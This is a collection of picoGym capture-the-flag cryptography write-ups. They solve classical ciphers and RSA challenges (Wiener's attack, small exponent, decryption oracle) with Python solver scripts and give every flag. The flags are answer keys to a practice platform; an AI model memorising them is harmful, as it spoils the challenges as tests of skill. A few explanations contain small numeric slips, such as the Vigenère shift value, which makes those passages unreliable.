46 | .png>)
47 |
48 | .png>)
49 |
50 | Success!
51 |
--------------------------------------------------------------------------------
/writeups/picogym/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | picoGym contains all of the past challenges from previous picoCTF events and
4 | can be found at https://play.picoctf.org/practice
5 | ---
6 |
7 | # picoGym
8 |
9 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/13.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Cryptography can be easy, do you know what ROT13 is?
4 | cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}
5 | ---
6 |
7 | # 13
8 |
9 | The same as [Mod 26](mod-26.md) - check that writeup!
10 |
11 | ```python
12 | from string import ascii_lowercase, ascii_uppercase
13 |
14 | enc_flag = r"cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}"
15 |
16 | flag = ""
17 |
18 | for c in enc_flag:
19 | if c in ascii_lowercase:
20 | flag += ascii_lowercase[(ascii_lowercase.index(c) + 13) % 26]
21 | elif c in ascii_uppercase:
22 | flag += ascii_uppercase[(ascii_uppercase.index(c) + 13) % 26]
23 | else:
24 | flag += c
25 |
26 | print(flag)
27 |
28 | # picoCTF{not_too_bad_of_a_problem}
29 |
30 | ```
31 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/README.md:
--------------------------------------------------------------------------------
1 | # Cryptography
2 |
3 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/basic-mod1.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Take each number mod 37 and map it to the following character set: 0-25 is the
4 | alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.
5 | Wrap your decrypted message in picoCTF.
6 | ---
7 |
8 | # Basic-Mod1
9 |
10 | Just follow the instructions, really.
11 |
12 | ```python
13 | from string import ascii_uppercase, digits
14 |
15 | numbers = [
16 | 165, 248, 94, 346, 299, 73, 198, 221, 313, 137, 205, 87, 336, 110, 186, 69, 223, 213, 216, 216, 177, 138
17 | ]
18 |
19 | alphabet = ascii_uppercase + digits + '_'
20 |
21 | flag = ''
22 |
23 | for n in numbers:
24 | flag += alphabet[n % 37]
25 |
26 | print(flag)
27 |
28 | # picoCTF{R0UND_N_R0UND_B6B25531}
29 | ```
30 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/basic-mod2.md:
--------------------------------------------------------------------------------
1 | # Basic-Mod2
2 |
3 | Again, simply do what it tells you. For information on the inverse modulo a prime, check out [my notes here](https://ir0nstone.gitbook.io/crypto/fundamentals/modular-arithmetic#modular-multiplicative-inverses)!
4 |
5 | ```python
6 | from string import ascii_lowercase, digits
7 | from Crypto.Util.number import inverse
8 |
9 | numbers = [
10 | 268, 413, 438, 313, 426, 337, 272, 188, 392, 338, 77, 332, 139, 113, 92, 239, 247, 120, 419, 72, 295, 190, 131
11 | ]
12 |
13 | alphabet = ' ' + ascii_lowercase + digits + '_' # space at front because letters start at index 1!
14 | flag = ''
15 |
16 | for n in numbers:
17 | idx = inverse(n % 41, 41)
18 | flag += alphabet[idx]
19 |
20 | print(flag)
21 |
22 | # picoCTF{1nv3r53ly_h4rd_8a05d939}
23 | ```
24 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/caesar.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Decrypt this message.
3 | ---
4 |
5 | # Caesar
6 |
7 | A classic caesar cipher, we can decrypt it using an [online tool](https://www.dcode.fr/caesar-cipher) or python:
8 |
9 | ```python
10 | from string import ascii_lowercase
11 |
12 | ciphertext = 'ynkooejcpdanqxeykjrbdofgkq'
13 |
14 | for shift in range(26):
15 | new_c = ''
16 |
17 | for c in ciphertext:
18 | new_c += ascii_lowercase[(ascii_lowercase.index(c) + shift) % 26]
19 |
20 | print(new_c)
21 |
22 | # picoCTF{crossingtherubiconvfhsjkou}
23 | ```
24 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/credstuff.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | We found a leak of a blackmarket website's login credentials. Can you find the
4 | password of the user cultiris and successfully decrypt it? Download the leak
5 | here.
6 | ---
7 |
8 | # Credstuff
9 |
10 | Opening up `usernames.txt` and `passwords.txt` in Pycharm, we see `cultiris` is on line `378` of `usernames.txt` so we go to line `378` of `passwords.txt` and find an encrypted password:
11 |
12 | ```
13 | cvpbPGS{P7e1S_54I35_71Z3}
14 | ```
15 |
16 | The `{}` are in place, implying that it's some sort of transposition cipher for the letters. We've done it numerous times, but we try a caesar cipher decode:
17 |
18 | ```python
19 | from string import ascii_lowercase, ascii_uppercase
20 |
21 | enc_flag = 'cvpbPGS{P7e1S_54I35_71Z3}'
22 |
23 | for shift in range(26):
24 | flag = ''
25 |
26 | for c in enc_flag:
27 | if c in ascii_lowercase:
28 | flag += ascii_lowercase[(ascii_lowercase.index(c) + shift) % 26]
29 | elif c in ascii_uppercase:
30 | flag += ascii_uppercase[(ascii_uppercase.index(c) + shift) % 26]
31 | else:
32 | flag += c
33 |
34 | print(flag)
35 |
36 | # picoCTF{C7r1F_54V35_71M3}
37 |
38 | ```
39 |
40 | In fact the shift is 13, so it's just a ROT13.
41 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/dachshund-attacks.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: What if d is too small? Connect with nc mercury.picoctf.net 37455.
3 | ---
4 |
5 | # Dachshund Attacks
6 |
7 | We are told $$d$$ is too small, so this is a classic Wiener's Attack. I discuss the technique [here](https://ir0nstone.gitbook.io/crypto/rsa/public-exponent-attacks/wieners-attack), so I won't go over it again. Connecting to the server gives us $$e$$, $$N$$ and $$c$$. I will use SageMath for the continued fractions.
8 |
9 | ```python
10 | from Crypto.Util.number import long_to_bytes
11 |
12 | e = 112754541700690073210034568883976704637179938391109984739882317717493134117274992183187134977340726366735137168283197063242918320349494617964667665047419548553575295453656621241958205285249437600208333153358419149045651177119281187188167703425363227405679672963841306943107073166807574585389125832534066751809
13 | N = 144390361348920501869993938709991886178924525779849244222262670433367312227444944591566139662690206095975554337178767396284003325304590032011497856478923049097805457881081418119675617493053963010551906982495811656212858357088185653656378487033852680537367010991060358788282243207315359582442103359642135446811
14 | c = 121200875764971898969856362104661551030573743599078234011937926996191831804013529938239036069865696197047682885988162602437942341629152031466396781294970679065309433084336383355723998945746263068555929945549034859795066917254742307603845777657499038889879448604171444521283481396818702315095487896851743793699
15 |
16 |
17 | def get_convergences(N, e):
18 | frac = continued_fraction(e / N)
19 | convergences = list()
20 |
21 | for i in range(frac.length()):
22 | convergences.append((frac.numerator(i), frac.denominator(i)))
23 |
24 | return convergences
25 |
26 |
27 | def factorises(N, e, numerator, denominator):
28 | if numerator == 0:
29 | return None
30 |
31 | if denominator % 2 == 0: # d must be odd
32 | return None
33 |
34 | phi = (e * denominator - 1) / numerator
35 |
36 | if int(phi) % 2 != 0: # phi must be an even whole number
37 | return None
38 |
39 | x = var('x')
40 | assume(x, 'integer')
41 | solutions = solve([x ** 2 - ((N - phi) + 1) * x + N], x)
42 |
43 | if len(solutions) == 2:
44 | return solutions
45 |
46 | return None
47 |
48 |
49 | for numerator, denominator in get_convergences(N, e):
50 | factors = factorises(N, e, numerator, denominator)
51 |
52 | if factors:
53 | p, q = factors
54 |
55 | if p * q == N:
56 | phi = (p - 1) * (q - 1)
57 | d = inverse_mod(e, phi)
58 | m = pow(c, d, N)
59 | print(long_to_bytes(m))
60 | break
61 |
62 | # picoCTF{proving_wiener_3878674}
63 |
64 | ```
65 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/easy1.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | The one time pad can be cryptographically secure, but not when you know the
4 | key. Can you solve this? We've given you the encrypted flag, key, and a table
5 | to help UFJKXQZQUNB with the key of SOLVECRYPT
6 | ---
7 |
8 | # Easy1
9 |
10 | The table is simple - the you grab the plaintext character and the corresponding character from the key and cross-reference them to find the ciphertext character. To reverse it, you find the key character and go along the row (or column) until you find the ciphertext character, then you go perpendicular to it to find the corresponding plaintext character. This nets you `CRYPTOISFUN`, so the flag is `picoCTF{CRYPTOISFUN}`.
11 |
12 | {% hint style="info" %}
13 | This is actually a Vigenère cipher, so you could also use an online tool to do it for you!
14 | {% endhint %}
15 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/hidetosee.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: How about some hide and seek heh? Look at this image here.
3 | ---
4 |
5 | # HideToSee
6 |
7 | Not the most enjoyable challenge. Gives us an image called `atbash.jpg`, but no ciphertext yet. We actually have to use steganography techniques to extract the ciphertext from being embedded in the image, using `steghide`:
8 |
9 |
$ steghide extract -sf atbash.jpg
10 |
11 |
12 | The passphrase is empty. The `encrypted.txt` file that is created has the following:
13 |
14 | ```
15 | krxlXGU{zgyzhs_xizxp_8z0uvwwx}
16 | ```
17 |
18 | Based off the filename, we can assume it's an **atbash cipher**, which is essentially a transposition cipher where alphabet is flipped (so `A` goes to `Z`, `B` goes to `Y`, etc).
19 |
20 | ```
21 | from string import ascii_uppercase, ascii_lowercase
22 |
23 | enc = 'krxlXGU{zgyzhs_xizxp_8z0uvwwx}'
24 | dec = ''
25 |
26 | for c in enc:
27 | if c in ascii_uppercase:
28 | dec += ascii_uppercase[-(ascii_uppercase.index(c)+1)] # so index 0 transposes to -1, index 1 to -2, etc
29 | elif c in ascii_lowercase:
30 | dec += ascii_lowercase[-(ascii_lowercase.index(c)+1)]
31 | else:
32 | dec += c
33 |
34 | print(dec)
35 |
36 | # picoCTF{atbash_crack_8a0feddc}
37 | ```
38 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/mind-your-ps-and-qs.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | In RSA, a small e value can be problematic, but what about N? Can you decrypt
4 | this? values
5 | ---
6 |
7 | # Mind Your Ps and Qs
8 |
9 | This is typical RSA decryption. We are given `n`, `e` and `c`.
10 |
11 | {% hint style="info" %}
12 | If you don't know much about RSA, check out [my overview](https://ir0nstone.gitbook.io/crypto/rsa/overview)!
13 | {% endhint %}
14 |
15 | All we need are the factors of `N`. Because it's small, we can try and check if the factors are known using [FactorDB](http://factordb.com). And they are! So from here it's just standard RSA:
16 |
17 | ```python
18 | from Crypto.Util.number import inverse, long_to_bytes
19 |
20 | c = 421345306292040663864066688931456845278496274597031632020995583473619804626233684
21 | n = 631371953793368771804570727896887140714495090919073481680274581226742748040342637
22 | e = 65537
23 |
24 | p = 1461849912200000206276283741896701133693
25 | q = 431899300006243611356963607089521499045809
26 |
27 | phi = (p-1) * (q-1)
28 | d = inverse(e, phi)
29 | m = pow(c, d, n)
30 |
31 | print(long_to_bytes(m))
32 |
33 | # picoCTF{sma11_N_n0_g0od_55304594}
34 | ```
35 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/mini-rsa.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | What happens if you have a small exponent? There is a twist though, we padded
4 | the plaintext so that (M ** e) is just barely larger than N. Let's decrypt
5 | this: ciphertext
6 | ---
7 |
8 | # Mini RSA
9 |
10 | Now we're getting onto proper cryptography. Here we are told that we are using RSA with a small exponent, but $$M^e$$ is just more than $$N$$. This means we can't **quite** do a [cube-root attack, but because it is **just** more than $$M$$ we can actually keep on adding multiples of $$N$$ onto $$c$$ ](https://ir0nstone.gitbook.io/crypto/rsa/public-exponent-attacks/small-e)and taking the cube root until we get the flag. As it is close, it's not infeasible to brute force. I use gmpy2's `iroot` function to take the cube root.
11 |
12 | ```python
13 | from Crypto.Util.number import long_to_bytes
14 | from gmpy2 import iroot
15 |
16 | N = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
17 | e = 3
18 |
19 | c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808147130204332030239454609548193370732857240300019596815816006860639254992255194738107991811397196500685989396810773222940007523267032630601449381770324467476670441511297695830038371195786166055669921467988355155696963689199852044947912413082022187178952733134865103084455914904057821890898745653261258346107276390058792338949223415878232277034434046142510780902482500716765933896331360282637705554071922268580430157241598567522324772752885039646885713317810775113741411461898837845999905524246804112266440620557624165618470709586812253893125417659761396612984740891016230905299327084673080946823376058367658665796414168107502482827882764000030048859751949099453053128663379477059252309685864790106
20 |
21 |
22 | for i in range(10_000):
23 | c_try = c + i * N
24 | m = int(iroot(c_try, 3)[0])
25 | flag = long_to_bytes(m)
26 |
27 | if b'pico' in flag:
28 | print(flag)
29 |
30 | # picoCTF{e_sh0u1d_b3_lArg3r_7adb35b1}
31 | ```
32 |
33 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/mod-26.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Cryptography can be easy, do you know what ROT13 is?
4 | cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_uJdSftmh}
5 | ---
6 |
7 | # Mod 26
8 |
9 | We are told that the flag is encrypted with ROT13, which is a simple substitution cipher that replaces every character with the character that is 13 spaces along the alphabet. For example, the character `C` would be replaced by a `P`:
10 |
11 |
ABCDEFGHIJKLMNOPQRSTUVWXYZ
12 |
13 |
14 | You can see that `C` is the 3rd index, and `P` is in fact the 16th. But what if we want to encrypt the letter `Y`, at index 25? Well, what we do here is we _loop back to the beginning_; if we do this, the character 13 positions after it is in fact `L`!
15 |
16 | Mathematically, we can see that the index that would be position `26` is actually looping back to position `0`, so we add on the `13` and take the remainder **modulo 26**. We can do this easily in Python, ignoring non-letter characters:
17 |
18 | ```python
19 | from string import ascii_lowercase, ascii_uppercase
20 |
21 | enc_flag = r"cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_uJdSftmh}"
22 |
23 | flag = ""
24 |
25 | for c in enc_flag:
26 | if c in ascii_lowercase:
27 | flag += ascii_lowercase[(ascii_lowercase.index(c) + 13) % 26]
28 | elif c in ascii_uppercase:
29 | flag += ascii_uppercase[(ascii_uppercase.index(c) + 13) % 26]
30 | else:
31 | flag += c
32 |
33 | print(flag)
34 |
35 | # picoCTF{next_time_I'll_try_2_rounds_of_rot13_hWqFsgzu}
36 |
37 | ```
38 |
39 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/morse-code.md:
--------------------------------------------------------------------------------
1 | # morse-code
2 |
3 | Pretty explicitly morse code, we go to an [online decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html) and have it spit out the flag:
4 |
5 | ```
6 | picoCTF{WH47_H47H_90D_W20U9H7}
7 | ```
8 |
9 | Alternatively we could use something like **Audacity** to view the waveforms themselves, but nah.
10 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/no-padding-no-problem.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Oracles can be your best friend, they will decrypt anything, except the flag's
4 | ciphertext. How will you break it? Connect with nc mercury.picoctf.net 10333
5 | ---
6 |
7 | # No Padding, No Problem
8 |
9 | Upon connecting, we get the values of $$N$$ and $$e$$ as well as the encrypted ciphertext $$c$$ that represents the flag. We then have a decryption oracle, which can decrypt anything except for the flag.
10 |
11 | Note that the ciphertext is decrypted as follows:
12 |
13 | $$
14 | m \equiv c^d \mod N
15 | $$
16 |
17 | If we ask to decrypt $$-c$$ instead, we get
18 |
19 | $$
20 | m \equiv (-c)^d \equiv -c^d \mod N
21 | $$
22 |
23 | Note the last congruence is because $$d$$ is odd, so $$(-1)^d = -1$$.
24 |
25 | This means that if we pass in the negative of $$c$$, we can get the negative of the decryption!
26 |
27 | ```
28 | N = 64225632402784743608151428388331019007158039700441403609620876723228303996217136829769322251101831115510439457268097599588978823846061420515078072743333076016253031234729517071419809456539618743788851473244412318432363995783182914809195026673348987512316519371501063936603604905070428868194818209957885002651
29 | R = IntegerModRing(N)
30 | c = R(23961525860638788006091919862301366730415613260613078904461027043559403510831473561860834624403033454974614369313881141911510211211764847671996788759608002057996932820692709010900418723347410147858586280735791816478632919784849715797867137711835451159040091442311708166252069010315360215005284477472628144578)
31 | print(-c)
32 |
33 | # send it back, get result
34 | negative_m = R(64225632402784743608151428388331019007158039700441403609620876723228303996217136829769322251101831115510439457268097599588978823846061420515078072743333076016253031234729517071419809456249343713593001433770955700064908110713217165957916949916605267065613204854099704669280835867601177422810391570120236404254)
35 | long_to_bytes(-m)
36 |
37 | # picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_1772735}
38 | ```
39 |
40 | {% hint style="info" %}
41 | There are other ways to do it too - you could calculate $$2^{65537} \mod N$$ and multiply $$c$$ by that, which would yield you $$2c$$ after decryption, and you'd just need to halve it, [as described in this writeup](https://github.com/Dvd848/CTFs/blob/master/2021\_picoCTF/No\_Padding\_No\_Problem.md).
42 | {% endhint %}
43 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/pixelated.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | I have these 2 images, can you make a flag out of them? scrambled1.png
4 | scrambled2.png
5 | ---
6 |
7 | # Pixelated
8 |
9 | As the images are the same dimensions, it makes sense to consider what could be done with the RBG values. Immediately, XOR springs to mind, and we make a quick script to XOR the pixel data:
10 |
11 | ```python
12 | from PIL import Image
13 |
14 | img1 = Image.open("scrambled1.png")
15 | img2 = Image.open("scrambled2.png")
16 |
17 | pixels1 = img1.load()
18 | pixels2 = img2.load()
19 |
20 | result_img = Image.new("RGB", img1.size)
21 | result_pixels = result_img.load()
22 |
23 | for x in range(img1.width):
24 | for y in range(img1.height):
25 | r1, g1, b1 = pixels1[x, y]
26 | r2, g2, b2 = pixels2[x, y]
27 |
28 | xor_r = r1 ^ r2
29 | xor_g = g1 ^ g2
30 | xor_b = b1 ^ b2
31 |
32 | result_pixels[x, y] = (xor_r, xor_g, xor_b)
33 |
34 | result_img.save("output.png")
35 |
36 | ```
37 |
38 | This came up with an interesting `output.png`, which definitely had the flag in it, but was quite hard to read:
39 |
40 |
Clearly a flag, but hard to read
41 |
42 | After some trial and error and printing of the values, you notice that pretty much everywhere is pure white. To up the contrast a little, we make all the white into black:
43 |
44 | ```python
45 | if xor_r == xor_g == xor_b == 255:
46 | xor_r = xor_g = xor_b = 0
47 | ```
48 |
49 | And this was enough to spy the flag:
50 |
51 |
52 |
53 | ```
54 | picoCTF{d562333d}
55 | ```
56 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/rail-fence.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | A type of transposition cipher is the rail fence cipher, which is described
4 | here. Here is one such cipher encrypted using the rail fence with 4 rails. Can
5 | you decrypt it?
6 | ---
7 |
8 | # rail-fence
9 |
10 | So, you can use an online tool like [here](https://www.dcode.fr/rail-fence-cipher), or you can actually follow [the wikipedia page it gives you](https://en.wikipedia.org/wiki/Rail\_fence\_cipher), or you can play around until it works:
11 |
12 | ```
13 | T a - _ 7 N 6 D 4 9
14 | h l g : W 3 D _ H 3 C 3 1 N _ _ A 9 7
15 | e f - s H R 0 5 3 F 3 8 N 4 3 D 7 B
16 | - i 3 3 _ _ _ N 6
17 |
18 | The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997
19 | ```
20 |
21 | So the flag is `picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997}`
22 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/substitution0.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | A message has come in but it seems to be all scrambled. Luckily it seems to
4 | have the key at the beginning. Can you crack this substitution cipher?
5 | ---
6 |
7 | # Substitution0
8 |
9 | So, we are told that the key is at the beginning! Let's see what we have:
10 |
11 | ```
12 | ZGSOCXPQUYHMILERVTBWNAFJDK
13 |
14 | Qctcnrel Mcptzlo ztebc, fuwq z ptzac zlo bwzwcmd zut, zlo gtenpqw ic wqc gccwmc
15 | xtei z pmzbb szbc ul fqusq uw fzb clsmebco. Uw fzb z gcznwuxnm bsztzgzcnb, zlo, zw
16 | wqzw wuic, nlhlefl we lzwntzmubwb—ex sentbc z ptczw rtukc ul z bsuclwuxus reulw
17 | ex aucf. Wqctc fctc wfe tenlo gmzsh brewb lczt elc cjwtciuwd ex wqc gzsh, zlo z
18 | melp elc lczt wqc ewqct. Wqc bszmcb fctc cjsccoulpmd qzto zlo pmebbd, fuwq zmm wqc
19 | zrrcztzlsc ex gntlubqco pemo. Wqc fcupqw ex wqc ulbcsw fzb actd tcizthzgmc, zlo,
20 | wzhulp zmm wqulpb ulwe selbuoctzwuel, U senmo qztomd gmzic Ynruwct xet qub eruluel
21 | tcbrcswulp uw.
22 |
23 | Wqc xmzp ub: ruseSWX{5NG5717N710L_3A0MN710L_357GX9XX}
24 | ```
25 |
26 | So, the first line appears to be the "key". Well, if we write the alphabet under it:
27 |
28 | ```
29 | ZGSOCXPQUYHMILERVTBWNAFJDK
30 | ABCDEFGHIJKLMNOPQRSTUVWXYZ
31 | ```
32 |
33 | There is a perfect correspondence! So, any instance of the character in the top list is meant to be substituted using the bottom list. We can easily make a python program to do it for us:
34 |
35 | ```python
36 | from string import ascii_uppercase, ascii_lowercase
37 |
38 | alphabet = 'ZGSOCXPQUYHMILERVTBWNAFJDK'
39 |
40 | text = '''
41 | Qctcnrel Mcptzlo ztebc, fuwq z ptzac zlo bwzwcmd zut, zlo gtenpqw ic wqc gccwmc
42 | xtei z pmzbb szbc ul fqusq uw fzb clsmebco. Uw fzb z gcznwuxnm bsztzgzcnb, zlo, zw
43 | wqzw wuic, nlhlefl we lzwntzmubwb—ex sentbc z ptczw rtukc ul z bsuclwuxus reulw
44 | ex aucf. Wqctc fctc wfe tenlo gmzsh brewb lczt elc cjwtciuwd ex wqc gzsh, zlo z
45 | melp elc lczt wqc ewqct. Wqc bszmcb fctc cjsccoulpmd qzto zlo pmebbd, fuwq zmm wqc
46 | zrrcztzlsc ex gntlubqco pemo. Wqc fcupqw ex wqc ulbcsw fzb actd tcizthzgmc, zlo,
47 | wzhulp zmm wqulpb ulwe selbuoctzwuel, U senmo qztomd gmzic Ynruwct xet qub eruluel
48 | tcbrcswulp uw.
49 |
50 | Wqc xmzp ub: ruseSWX{5NG5717N710L_3A0MN710L_357GX9XX}
51 | '''
52 |
53 | dec = ''
54 |
55 | for c in text:
56 | if c in ascii_uppercase:
57 | dec += ascii_uppercase[alphabet.index(c)]
58 | elif c in ascii_lowercase:
59 | dec += ascii_lowercase[alphabet.index(c.upper())]
60 | else:
61 | dec += c
62 |
63 | print(dec)
64 |
65 | # picoCTF{5UB5717U710N_3V0LU710N_357BF9FF}
66 |
67 | ```
68 |
69 | We get a text from [_The Gold-Bug_, by Edgar Allen Poe](http://utc.iath.virginia.edu/minstrel/mifieapat.html) and the flag too:
70 |
71 | ```
72 | Hereupon Legrand arose, with a grave and stately air, and brought me the beetle
73 | from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
74 | that time, unknown to naturalists—of course a great prize in a scientific point
75 | of view. There were two round black spots near one extremity of the back, and a
76 | long one near the other. The scales were exceedingly hard and glossy, with all the
77 | appearance of burnished gold. The weight of the insect was very remarkable, and,
78 | taking all things into consideration, I could hardly blame Jupiter for his opinion
79 | respecting it.
80 |
81 | The flag is: picoCTF{5UB5717U710N_3V0LU710N_357BF9FF}
82 | ```
83 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/the-numbers.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: The numbers... what do they mean?
3 | ---
4 |
5 | # The Numbers
6 |
7 | We get a bit of an image:
8 |
9 |
10 |
11 | The `{}` suggest that this is some sort of transposition, where letters are replaced with numbers while other characters are left the same. Since all the numbers are in the range `0-25`, it makes logical sense that each number is really the position of the letter in the alphabet. We can make a simple decryption script based off this assumption:
12 |
13 | ```python
14 | from string import ascii_uppercase
15 |
16 | numbers = [16, 9, 3, 15, 3, 20, 6, '{', 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14, '}']
17 |
18 | flag = ""
19 |
20 | for n in numbers:
21 | if str(n) in "{}":
22 | flag += n
23 | else:
24 | flag += ascii_uppercase[n]
25 |
26 | print(flag)
27 |
28 | ```
29 |
30 | We get `QJDPDUG{UIFOVNCFSTNBTPO}`. As we assume it starts with `PICOCTF`, we can see that we are actually one index off - which makes sense, as strings are zero-indexed in Python, so we just need to use `n-1` and we get the flag:
31 |
32 | ```python
33 | from string import ascii_uppercase
34 |
35 | numbers = [16, 9, 3, 15, 3, 20, 6, '{', 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14, '}']
36 |
37 | flag = ""
38 |
39 | for n in numbers:
40 | if str(n) in "{}":
41 | flag += n
42 | else:
43 | flag += ascii_uppercase[n-1]
44 |
45 | print(flag)
46 |
47 | # PICOCTF{THENUMBERSMASON}
48 | ```
49 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/transposition-trial.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Our data got corrupted on the way here. Luckily, nothing got replaced, but
4 | every block of 3 got scrambled around!
5 | ---
6 |
7 | # Transposition-Trial
8 |
9 | So we are given the data
10 |
11 | ```
12 | heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V6E5926A}4
13 | ```
14 |
15 | And also told that every block of 3 is scrambled the same way. Looking at the first block of 3, is should clearly say `The`, so the order of reading it should be 3rd letter -> 1st letter -> 2nd letter. We make a quick python script to split it into triplets and rearrange:
16 |
17 | ```python
18 | message = 'heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V6E5926A}4'
19 |
20 | trigrams = [message[x:x+3] for x in range(0, len(message), 3)]
21 |
22 | dec = ''
23 |
24 | for t in trigrams:
25 | dec += t[2] + t[0] + t[1]
26 |
27 | print(dec)
28 |
29 | # The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_56E6924A}
30 |
31 | ```
32 |
--------------------------------------------------------------------------------
/writeups/picogym/cryptography/vigenere.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Can you decrypt this message?
3 | ---
4 |
5 | # Vigenere
6 |
7 | So the hint is that the message is encrypted with a Vigenere cipher using the key `CYLAB`. Sure we could use an [online tool](https://www.dcode.fr/vigenere-cipher), but how about in python?
8 |
9 | The way a vigenere cipher works is that the letters in the key are converted into integers based into their position in the alphabet, with `0` being `a` and `25` being `z`. Those values are then used as shift values for a per-letter caesar cipher - so in the case of `CYLAB`, the first value is `3` and the second is `24`. Given the encrypted flag:
10 |
11 | ```
12 | rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}
13 | ```
14 |
15 | We then know that `r` is the plaintext letter shifted over by `3` and `g` is the plaintext letter shifted over by `24` (and looped around, in the same way a caesar cipher is). To this end, we can make a quick script:
16 |
17 | ```python
18 | from string import ascii_uppercase, ascii_lowercase
19 |
20 | def shift(chr, k):
21 | # get an integer shift from a letter
22 | k_int = ascii_lowercase.index(k.lower())
23 |
24 | if chr in ascii_uppercase:
25 | return ascii_uppercase[(ascii_uppercase.index(chr) - k_int) % 26]
26 | else:
27 | return ascii_lowercase[(ascii_lowercase.index(chr) - k_int) % 26]
28 |
29 |
30 | message = 'rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}'
31 | key = 'CYLAB' * 10
32 |
33 | dec = ''
34 |
35 | for m, k in zip(message, key):
36 | if m in ascii_uppercase or m in ascii_lowercase:
37 | dec += shift(m, k)
38 | else:
39 | dec += m
40 |
41 | print(dec)
42 | ```
43 |
44 | We get the output
45 |
46 | ```
47 | picoCTF{O0LW_WP3_V1F3Q3T3_C1AG3U_2951r89d}
48 | ```
49 |
50 | Which isn't quite the flag. Evidently, it's working.
51 |
52 | After a lot of trial and error, it turns out that the problem is that we are looping throuhg them at the same pace, but in reality the key isn't even being incremented on the non-letter characters (for example the `L` in the `key` aligns with `{` in the `message`, nothing is done because it's not a character, but the loop still goes on to the next key character for the next decryption). In essence, we have to just stop the key from looping on those characters:
53 |
54 | ```python
55 | from string import ascii_uppercase, ascii_lowercase
56 |
57 | def shift(chr, k):
58 | # get an integer shift from a letter
59 | k_int = ascii_lowercase.index(k.lower())
60 |
61 | if chr in ascii_uppercase:
62 | return ascii_uppercase[(ascii_uppercase.index(chr) - k_int) % 26]
63 | else:
64 | return ascii_lowercase[(ascii_lowercase.index(chr) - k_int) % 26]
65 |
66 |
67 | message = 'rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}'
68 | key = 'CYLAB'
69 |
70 | dec = ''
71 |
72 | i = 0
73 | for m in message:
74 | if m in ascii_uppercase or m in ascii_lowercase:
75 | dec += shift(m, key[i])
76 | i = (i+1) % 5
77 | else:
78 | dec += m
79 |
80 | print(dec)
81 |
82 | # picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_2951a89h}
83 | ```
84 |
--------------------------------------------------------------------------------